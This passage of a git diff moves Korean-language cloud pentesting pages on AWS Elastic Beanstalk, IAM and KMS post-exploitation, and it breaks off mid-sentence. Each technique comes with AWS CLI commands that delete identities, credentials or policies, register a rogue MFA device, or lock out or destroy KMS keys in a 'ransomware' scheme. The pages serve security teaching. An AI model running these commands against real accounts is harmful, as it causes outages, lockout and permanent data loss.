[!NOTE] +> TODO: 더 많은 권한이 필요한지 테스트해야 함 + +권한 `elasticbeanstalk:TerminateEnvironment`을 가진 공격자는 **기존 Elastic Beanstalk 환경을 종료할 수 있으며**, 이로 인해 애플리케이션의 다운타임이 발생하고 환경이 백업으로 구성되어 있지 않다면 데이터 손실이 발생할 수 있습니다. +```bash +aws elasticbeanstalk terminate-environment --environment-name my-existing-env +``` +**Potential Impact**: 애플리케이션의 다운타임, 잠재적인 데이터 손실 및 서비스 중단. + +### `elasticbeanstalk:DeleteApplication` + +> [!NOTE] +> TODO: 이 작업에 더 많은 권한이 필요한지 테스트해야 합니다 + +권한 `elasticbeanstalk:DeleteApplication`을(를) 가진 공격자는 **전체 Elastic Beanstalk 애플리케이션을 삭제할 수 있습니다**, 모든 버전 및 환경을 포함합니다. 백업되어 있지 않으면 이 작업은 애플리케이션 리소스 및 구성의 심각한 손실을 초래할 수 있습니다. +```bash +aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force +``` +**Potential Impact**: 애플리케이션 리소스, 구성, 환경 및 애플리케이션 버전의 손실로 서비스 중단 및 잠재적 데이터 손실을 초래할 수 있습니다. + +### `elasticbeanstalk:SwapEnvironmentCNAMEs` + +> [!NOTE] +> TODO: 이 작업에 더 많은 권한이 필요한지 테스트 필요 + +권한 `elasticbeanstalk:SwapEnvironmentCNAMEs`를 가진 공격자는 **두 Elastic Beanstalk 환경의 CNAME 레코드를 교환할 수** 있으며, 이로 인해 사용자에게 잘못된 애플리케이션 버전이 제공되거나 의도치 않은 동작이 발생할 수 있습니다. +```bash +aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 +``` +**잠재적 영향**: 환경이 교체되어 사용자에게 잘못된 애플리케이션 버전이 제공되거나 애플리케이션에 의도치 않은 동작이 발생할 수 있습니다. + +### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` + +> [!NOTE] +> TODO: 이 작업에 더 많은 권한이 필요한지 테스트해야 합니다 + +`elasticbeanstalk:AddTags` 및 `elasticbeanstalk:RemoveTags` 권한을 가진 공격자는 **Elastic Beanstalk 리소스에 태그를 추가하거나 제거할 수 있습니다**. 이 작업은 잘못된 리소스 할당, 비용 청구 오류 또는 리소스 관리 문제로 이어질 수 있습니다. +```bash +aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 + +aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag +``` +**잠재적 영향**: 태그가 추가되거나 제거되어 잘못된 리소스 할당, 청구 또는 리소스 관리 문제가 발생할 수 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md deleted file mode 100644 index 95b321826..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ /dev/null @@ -1,166 +0,0 @@ -# AWS - IAM 포스트 익스플로이테이션 - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -For more information about IAM access: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -## Confused Deputy Problem - -만약 당신이 **외부 계정(A)이** 당신 계정의 **role**에 접근하는 것을 **허용한다면**, 아마도 해당 **외부 계정에 정확히 누가 접근할 수 있는지에 대한 가시성은 0**일 것입니다. 이것은 문제가 되는데, 다른 외부 계정(B)이 외부 계정(A)에 접근할 수 있다면 **B도 당신의 계정에 접근할 수 있게 될 가능성**이 있기 때문입니다. - -따라서, 외부 계정이 당신 계정의 role에 접근하도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이는 외부 계정(A)이 당신의 조직에서 role을 가정(assume the role in your organization)하기 위해 **명시해야 하는** "비밀" 문자열입니다. **외부 계정 B는 이 문자열을 알지 못하기 때문에**, 설령 B가 A에 대한 접근 권한을 가지고 있더라도 **당신의 role에 접근할 수 없습니다**. - -
- -하지만 이 `ExternalId` "비밀"은 **비밀이 아니다**는 점에 유의하세요. `IAM assume role policy`를 **읽을 수 있는 누구나 이 값을 볼 수 있습니다**. 그러나 외부 계정 A가 이 값을 알고 있고 외부 계정 **B는 모른다면**, 이는 **B가 A를 악용하여 당신의 role에 접근하는 것을 방지**합니다. - -Example: -```json -{ -"Version": "2012-10-17", -"Statement": { -"Effect": "Allow", -"Principal": { -"AWS": "Example Corp's AWS Account ID" -}, -"Action": "sts:AssumeRole", -"Condition": { -"StringEquals": { -"sts:ExternalId": "12345" -} -} -} -} -``` -> [!WARNING] -> 공격자가 confused deputy를 악용하려면 현재 계정의 principals가 다른 계정의 roles를 가장할 수 있는지 어떻게든 찾아야 한다. - -### 예상치 못한 Trusts - -#### principal로서의 와일드카드 -```json -{ -"Action": "sts:AssumeRole", -"Effect": "Allow", -"Principal": { "AWS": "*" } -} -``` -이 정책은 **모든 AWS**가 해당 역할을 맡을 수 있도록 허용합니다. - -#### 서비스가 주체인 경우 -```json -{ -"Action": "lambda:InvokeFunction", -"Effect": "Allow", -"Principal": { "Service": "apigateway.amazonaws.com" }, -"Resource": "arn:aws:lambda:000000000000:function:foo" -} -``` -이 정책은 **모든 계정**이 자신의 apigateway를 구성하여 이 Lambda를 호출할 수 있도록 허용합니다. - -#### S3를 주체로 -```json -"Condition": { -"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, -"StringEquals": { -"aws:SourceAccount": "123456789012" -} -} -``` -만약 S3 bucket이 principal로 지정되어 있고 S3 bucket은 Account ID가 없으므로, 당신이 **deleted your bucket and the attacker created** it in their own account이라면 공격자가 이를 악용할 수 있습니다. - -#### 지원되지 않음 -```json -{ -"Effect": "Allow", -"Principal": { "Service": "cloudtrail.amazonaws.com" }, -"Action": "s3:PutObject", -"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" -} -``` -A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). - -### 자격 증명 삭제 -다음 권한 중 하나라도 있으면 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — 행위자는 access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates 또는 CloudFront public keys를 삭제하거나 역할을 인스턴스 프로필에서 분리할 수 있습니다. 이러한 조치는 정당한 사용자와 애플리케이션의 접근을 즉시 차단하고, 해당 자격 증명에 의존하는 시스템에 대해 denial-of-service 또는 접근 상실을 초래할 수 있으므로, 이러한 IAM 권한은 엄격히 제한하고 모니터링해야 합니다. -```bash -# Remove Access Key of a user -aws iam delete-access-key \ ---user-name \ ---access-key-id AKIAIOSFODNN7EXAMPLE - -## Remove ssh key of a user -aws iam delete-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE -``` -### Identity Deletion -`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, 또는 `iam:RemoveUserFromGroup` 같은 권한이 있으면, 행위자는 사용자, 역할, 그룹을 삭제하거나 그룹 멤버십을 변경하여 신원과 관련된 흔적을 제거할 수 있습니다. 이로 인해 해당 신원에 의존하는 사람과 서비스의 접근이 즉시 차단되어 denial-of-service 또는 접근 상실이 발생할 수 있으므로, 이러한 IAM 동작은 엄격히 제한되고 모니터링되어야 합니다. -```bash -# Delete a user -aws iam delete-user \ ---user-name - -# Delete a group -aws iam delete-group \ ---group-name - -# Delete a role -aws iam delete-role \ ---role-name -``` -### -다음 권한 중 하나라도 있으면 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 행위자는 관리형/인라인 정책을 삭제하거나 분리(detach)하고, 정책 버전이나 permissions boundaries를 제거하며, 사용자·그룹·롤에서 정책의 연결을 해제할 수 있습니다. 이는 권한을 파기하고 권한 모델을 변경하여 해당 정책에 의존하던 주체(principals)의 즉각적인 접근 상실이나 서비스 거부(denial-of-service)를 초래할 수 있으므로, 이러한 IAM 액션은 엄격히 제한되고 모니터링되어야 합니다. -```bash -# Delete a group policy -aws iam delete-group-policy \ ---group-name \ ---policy-name - -# Delete a role policy -aws iam delete-role-policy \ ---role-name \ ---policy-name -``` -### 연합 인증 삭제 -With `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, 권한을 가진 행위자는 OIDC/SAML 인증 제공자를 삭제하거나 클라이언트 ID를 제거할 수 있다. 이는 연합 인증을 중단시켜 토큰 검증을 불가능하게 만들고 IdP 또는 설정이 복구될 때까지 SSO에 의존하는 사용자 및 서비스의 접근을 즉시 차단한다. -```bash -# Delete OIDCP provider -aws iam delete-open-id-connect-provider \ ---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com - -# Delete SAML provider -aws iam delete-saml-provider \ ---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS -``` -### 무단 MFA 활성화 -`iam:EnableMFADevice` 권한을 통해 공격자는 사용자 계정에 MFA 장치를 등록해 정당한 사용자가 로그인하지 못하게 할 수 있다. 무단 MFA가 활성화되면 장치가 제거되거나 재설정될 때까지 사용자가 로그인을 못하게 될 수 있다(참고: 여러 MFA 장치가 등록되어 있으면 로그인에는 하나만 필요하므로 이 공격은 접근 차단에는 영향을 주지 않는다). -```bash -aws iam enable-mfa-device \ ---user-name \ ---serial-number arn:aws:iam::111122223333:mfa/alice \ ---authentication-code1 123456 \ ---authentication-code2 789012 -``` -### Certificate/Key Metadata Tampering -With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, 권한을 가진 행위자는 공개 키 및 인증서의 상태나 메타데이터를 변경할 수 있습니다. 키/인증서를 비활성화하거나 참조를 변경하면 SSH 인증을 무력화하고 X.509/TLS 검증을 무효화하며, 해당 자격증명에 의존하는 서비스를 즉시 중단시켜 접근 권한 상실이나 가용성 저하를 초래할 수 있습니다. -```bash -aws iam update-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE \ ---status Inactive - -aws iam update-server-certificate \ ---server-certificate-name \ ---new-path /prod/ -``` -## 참고자료 - -- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md new file mode 100644 index 000000000..55f3a259d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -0,0 +1,166 @@ +# AWS - IAM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +IAM 접근에 대한 자세한 정보: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +## Confused Deputy Problem + +귀하의 계정에서 **외부 계정 (A)**이 **role**에 접근하도록 **허용하면**, 귀하는 **정확히 누가 해당 외부 계정에 접근할 수 있는지**에 대해 **사실상 가시성이 0**일 가능성이 큽니다. 이는 문제입니다. 왜냐하면 다른 외부 계정 (B)이 외부 계정 (A)에 접근할 수 있다면, **B가 귀하의 계정에도 접근할 수 있게 될 가능성**이 있기 때문입니다. + +따라서 귀하의 계정에서 외부 계정이 role에 접근하도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이것은 외부 계정 (A)이 귀하 조직에서 **assume the role in your organization** 하기 위해 **지정해야 하는** "비밀" 문자열입니다. **외부 계정 B가 이 문자열을 모르면**, 설령 B가 A에 대한 접근 권한을 가지고 있더라도 **귀하의 role에 접근할 수 없습니다**. + +
+ +다만 이 `ExternalId` "비밀"은 **비밀이 아니다**는 점을 유의하세요. `IAM assume role policy`를 **읽을 수 있는 누구나 이 값을 볼 수 있습니다**. 하지만 외부 계정 A가 이것을 알고 있고 외부 계정 **B는 모르는** 상태라면, 이는 **B가 A를 악용해 귀하의 role에 접근하는 것을 방지**합니다. + +예: +```json +{ +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} +} +``` +> [!WARNING] +> 공격자가 confused deputy를 악용하려면 현재 계정의 principals가 다른 계정의 roles를 가장할 수 있는지 어떻게든 찾아내야 한다. + +### 예기치 않은 Trusts + +#### 와일드카드를 principal로 +```json +{ +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } +} +``` +이 정책은 **모든 AWS**가 역할을 맡도록 허용합니다. + +#### 서비스가 주체(principal)인 경우 +```json +{ +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" +} +``` +이 정책은 **어떤 계정이든** apigateway를 구성하여 이 Lambda를 호출하도록 허용합니다. + +#### S3를 주체로 +```json +"Condition": { +"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, +"StringEquals": { +"aws:SourceAccount": "123456789012" +} +} +``` +S3 bucket이 principal로 지정된 경우, S3 buckets에는 Account ID가 없기 때문에, 만약 당신이 **deleted your bucket and the attacker created** 그 버킷을 자신의 계정에 생성했다면, 공격자가 이를 악용할 수 있습니다. + +#### 지원되지 않음 +```json +{ +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +} +``` +A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **일부 서비스는 이를 지원하지 않을 수 있습니다** (예: 일부 출처에 따르면 CloudTrail). + +### 자격 증명 삭제 +With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### 아이덴티티 삭제 +`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, 또는 `iam:RemoveUserFromGroup` 같은 권한이 있으면 행위자는 사용자, 역할, 그룹을 삭제하거나—또는 그룹 멤버십을 변경해—아이덴티티와 관련된 흔적을 제거할 수 있습니다. 이는 해당 아이덴티티에 의존하는 사람과 서비스의 접근을 즉시 차단해 denial-of-service 또는 접근 상실을 초래할 수 있으므로 이러한 IAM actions는 엄격히 제한하고 모니터링해야 합니다. +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +### +다음 권한 중 하나라도 있으면 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 행위자는 관리형/인라인 정책을 삭제하거나 분리(detach)하고, 정책 버전이나 권한 경계(permissions boundaries)를 제거하거나 사용자·그룹·역할에서 정책의 연결을 해제(unlink)할 수 있습니다. 이는 권한을 무력화하고 권한 모델을 변경하여 해당 정책에 의존하던 주체들이 즉시 접근을 잃거나 서비스 거부(denial-of-service)를 겪을 수 있으므로, 이러한 IAM 작업은 엄격히 제한되고 모니터링되어야 합니다. +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### 연합 신원 삭제 +`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, 및 `iam:RemoveClientIDFromOpenIDConnectProvider` 권한을 가진 행위자는 OIDC/SAML ID 공급자를 삭제하거나 클라이언트 ID를 제거할 수 있습니다. 이는 연합 인증을 중단시켜 토큰 검증을 방해하고 IdP 또는 구성이 복구될 때까지 SSO에 의존하는 사용자와 서비스의 접근을 즉시 차단합니다. +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### 불법적인 MFA 활성화 +`iam:EnableMFADevice` 권한으로 공격자는 사용자 계정에 MFA 디바이스를 등록하여 정당한 사용자의 로그인을 방해할 수 있다. 승인되지 않은 MFA가 활성화되면 해당 디바이스가 제거되거나 재설정될 때까지 사용자는 계정에 접근하지 못할 수 있다 (참고: 여러 개의 MFA 디바이스가 등록된 경우 로그인에는 단 하나만 필요하므로 이 공격은 접근 차단에 영향을 주지 않는다). +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### 인증서/키 메타데이터 변조 +With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, 공격자는 공개 키 및 인증서의 상태나 메타데이터를 변경할 수 있다. 키/인증서를 비활성으로 표시하거나 참조를 변경하면 SSH 인증을 중단시키거나 X.509/TLS 검증을 무효화하고, 해당 자격증명에 의존하는 서비스를 즉시 중단시켜 접근 또는 가용성 상실을 초래할 수 있다. +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ +--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` +## 참고 자료 + +- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md deleted file mode 100644 index dee1ccae3..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ /dev/null @@ -1,182 +0,0 @@ -# AWS - KMS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -For more information check: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Encrypt/Decrypt information - -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: - -- `fileb://:`는 파일을 바이너리 모드로 읽습니다. 일반적으로 텍스트가 아닌 파일에 사용됩니다. -- `file://:`는 파일을 텍스트 모드로 읽습니다. 일반적으로 일반 텍스트 파일, 스크립트 또는 특별한 인코딩 요구사항이 없는 JSON에 사용됩니다. - -> [!TIP] -> 파일 내의 데이터를 decrypt하려면, 파일에는 base64로 인코딩된 데이터가 아니라 바이너리 데이터가 포함되어야 합니다. (fileb://) - -- **symmetric** 키를 사용하는 경우 -```bash -# Encrypt data -aws kms encrypt \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -- **asymmetric** 키 사용: -```bash -# Encrypt data -aws kms encrypt \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -### KMS Ransomware - -KMS에 대한 권한을 가진 공격자는 키의 KMS 정책을 수정하여 **자신의 계정에 접근 권한을 부여**하고, 정상 계정에 부여된 접근 권한을 제거할 수 있다. - -그 결과, 정상 계정 사용자는 해당 키로 암호화된 어떤 서비스의 정보에도 접근할 수 없게 되어, 계정에 대한 쉽고도 효과적인 ransomware를 만들게 된다. - -> [!WARNING] -> 참고: **AWS managed keys**는 이 공격의 영향을 받지 않으며, 영향받는 것은 오직 **Customer managed keys**뿐이다. - -> 또한 매개변수 **`--bypass-policy-lockout-safety-check`**를 사용해야 한다는 점에 유의하라 (웹 콘솔에는 이 옵션이 없기 때문에 이 공격은 CLI에서만 가능하다). -```bash -# Force policy change -aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ ---policy-name default \ ---policy file:///tmp/policy.yaml \ ---bypass-policy-lockout-safety-check - -{ -"Id": "key-consolepolicy-3", -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Enable IAM User Permissions", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "kms:*", -"Resource": "*" -} -] -} -``` -> [!CAUTION] -> 정책을 변경해 외부 계정에만 액세스를 허용한 뒤, 그 외부 계정에서 원래 계정에 접근 권한을 되돌리기 위한 새 정책을 설정하려 해도, **Put Polocy 액션은 cross account에서 수행할 수 없기 때문에 불가능합니다**. - -
- -### Generic KMS Ransomware - -글로벌 KMS Ransomware를 수행하는 또 다른 방법이 있으며, 다음 단계들을 포함합니다: - -- 공격자가 가져온 **key with a key material**을 사용하여 새 key를 생성한다 -- 이전 버전으로 암호화된 피해자의 데이터를 새 키로 **Re-encrypt older data** 한다 -- **Delete the KMS key** -- 이제 원래의 key material을 가진 공격자만 암호화된 데이터를 복호화할 수 있게 된다 - -### Delete Keys via kms:DeleteImportedKeyMaterial - -권한 `kms:DeleteImportedKeyMaterial`가 있으면 행위자는 `Origin=EXTERNAL`인 CMKs에서(키 material을 import한 CMKs) 가져온 key material을 삭제할 수 있으며, 이로 인해 해당 CMK로 데이터를 복호화할 수 없게 됩니다. 이 작업은 파괴적이며 호환 가능한 material을 다시 재-import하지 않는 한 되돌릴 수 없습니다. 따라서 공격자는 암호화된 정보를 영구적으로 접근 불가능하게 만들어 사실상 ransomware-like 데이터 손실을 유발할 수 있습니다. -```bash -aws kms delete-imported-key-material --key-id -``` -### 키 파기 - -키를 파기하면 DoS를 일으킬 수 있다. -```bash -# Schedule the destoy of a key (min wait time is 7 days) -aws kms schedule-key-deletion \ ---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ ---pending-window-in-days 7 -``` -> [!CAUTION] -> 참고: AWS는 이제 **이전 작업들이 cross account에서 수행되는 것을 차단합니다:** - -### Alias 변경 또는 삭제 -이 공격은 AWS KMS aliases를 삭제하거나 리다이렉트하여 키 해석을 깨뜨리고, 해당 aliases에 의존하는 서비스에서 즉시 장애를 발생시켜 denial-of-service를 초래합니다. `kms:DeleteAlias` 또는 `kms:UpdateAlias` 같은 권한을 가진 공격자는 aliases를 제거하거나 재지정하여 암호화 작업(예: encrypt, describe)을 방해할 수 있습니다. key ID 대신 alias를 참조하는 서비스는 alias가 복원되거나 올바르게 재매핑될 때까지 실패할 수 있습니다. -```bash -# Delete Alias -aws kms delete-alias --alias-name alias/ - -# Update Alias -aws kms update-alias \ ---alias-name alias/ \ ---target-key-id -``` -### 키 삭제 취소 -`kms:CancelKeyDeletion` 및 `kms:EnableKey` 같은 권한을 가진 행위자는 AWS KMS 고객 마스터 키의 예약 삭제를 취소하고 나중에 다시 활성화할 수 있습니다. 이렇게 하면 키를 복구(초기에는 Disabled 상태)하여 이전에 보호된 데이터를 복호화할 수 있는 기능이 복원되고, exfiltration을 가능하게 합니다. -```bash -# Firts cancel de deletion -aws kms cancel-key-deletion \ ---key-id - -## Second enable the key -aws kms enable-key \ ---key-id -``` -### Disable Key -With the `kms:DisableKey` 권한이 있으면 공격자는 AWS KMS customer master key를 비활성화하여 해당 키를 암호화 또는 복호화에 사용할 수 없게 만들 수 있습니다. 이는 해당 CMK에 의존하는 모든 서비스의 접근을 차단하며, 키가 다시 활성화될 때까지 즉각적인 중단이나 denial-of-service를 초래할 수 있습니다. -```bash -aws kms disable-key \ ---key-id -``` -### Derive Shared Secret -`kms:DeriveSharedSecret` 권한이 있으면, 행위자는 KMS에 보관된 private key와 사용자가 제공한 public key를 사용하여 ECDH shared secret을 계산할 수 있습니다. -```bash -aws kms derive-shared-secret \ ---key-id \ ---public-key fileb:/// \ ---key-agreement-algorithm -``` -### Impersonation via kms:Sign -`kms:Sign` 권한이 있으면, 행위자는 KMS에 저장된 CMK를 사용해 private key를 노출하지 않고 데이터를 암호학적으로 서명할 수 있으며, 이는 유효한 서명을 생성하여 impersonation을 가능하게 하거나 악의적인 행위를 승인하는 데 사용될 수 있다. -```bash -aws kms sign \ ---key-id \ ---message fileb:// \ ---signing-algorithm \ ---message-type RAW -``` -### DoS with Custom Key Stores -`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, 또는 `kms:UpdateCustomKeyStore` 같은 권한을 가진 공격자는 AWS KMS Custom Key Store (CKS)를 수정, 분리 또는 삭제할 수 있으며, 그 결과 마스터 키가 작동하지 않게 됩니다. 이로 인해 해당 키에 의존하는 서비스의 암호화, 복호화 및 서명 작업이 중단되어 즉각적인 denial-of-service가 발생할 수 있습니다. 따라서 해당 권한을 제한하고 모니터링하는 것이 중요합니다. -```bash -aws kms delete-custom-key-store --custom-key-store-id - -aws kms disconnect-custom-key-store --custom-key-store-id - -aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password -``` -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md new file mode 100644 index 000000000..01915803c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -0,0 +1,182 @@ +# AWS - KMS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### 암호화/복호화 정보 + +`fileb://` and `file://` 은 AWS CLI 명령에서 로컬 파일 경로를 지정할 때 사용되는 URI 스킴입니다: + +- `fileb://:` 는 파일을 바이너리 모드로 읽으며, 일반적으로 텍스트 이외의 파일에 사용됩니다. +- `file://:` 는 파일을 텍스트 모드로 읽으며, 일반적으로 일반 텍스트 파일, 스크립트 또는 특수 인코딩이 필요하지 않은 JSON에 사용됩니다. + +> [!TIP] +> 파일 내의 데이터를 복호화하려면, 파일이 base64로 인코딩된 데이터가 아니라 바이너리 데이터를 포함해야 합니다. (fileb://) + +- **대칭** 키 사용 +```bash +# Encrypt data +aws kms encrypt \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +- **비대칭** 키 사용: +```bash +# Encrypt data +aws kms encrypt \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +### KMS Ransomware + +KMS에 대한 권한을 가진 공격자는 키의 KMS 정책을 수정해 **자신의 계정에 대한 접근을 허용하고**, 정당한 계정에 부여된 접근 권한을 제거할 수 있습니다. + +그렇게 되면 정당한 계정 사용자는 해당 키로 암호화된 모든 서비스의 정보를 확인할 수 